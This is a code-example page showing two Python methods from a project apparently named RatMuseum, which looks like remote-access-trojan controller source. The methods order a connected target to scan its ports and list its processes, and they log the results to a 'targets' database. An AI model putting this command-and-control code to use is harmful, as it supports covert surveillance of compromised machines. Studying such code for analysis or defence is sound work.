コード例 #1
0
ファイル: Scan.py プロジェクト: midnightslacker/RatMuseum
    def recive_online(self):

        self.conn.send(Encode("#FSCAN"))

        text = colorize("scanning", colored=self.colors, status="INF")
        process_bar = ParatProcessBar(text)
        process_bar.start_process()

        response = Decode(self.conn.recv(4096))

        # write data to disk
        with open(self.scan_file, "w") as info_file:
            info_file.write(response.replace(self.handler, "").rstrip())
        info_file.close()

        process_bar.Stop = True
        sleep(0.2)

        pprint("\n")
        pprint(response.replace(self.handler, "").rstrip())
        pprint("\n\n")

        self.db_con.execute(
            "UPDATE targets SET oPorts=? WHERE id=?",
            (response.replace(self.handler, "").rstrip(), self.client_id))
        self.db_con.commit()
コード例 #2
0
ファイル: Process.py プロジェクト: midnightslacker/RatMuseum
    def get_all(self):

        self.conn.send(Encode("getps"))
        proc = Decode(self.conn.recv(4096))

        while 1:

            if "GETPS ERROR!" in proc:
                pprint(
                    colorize(
                        proc,
                        colored=self.colors,
                        status="ERR"
                )); break

            else:

                pprint(proc.replace('\n', '') + '\n')
                sleep(0.01)
                proc = Decode(self.conn.recv(4096))

                if self.handler in proc:
                    pprint("\n"); break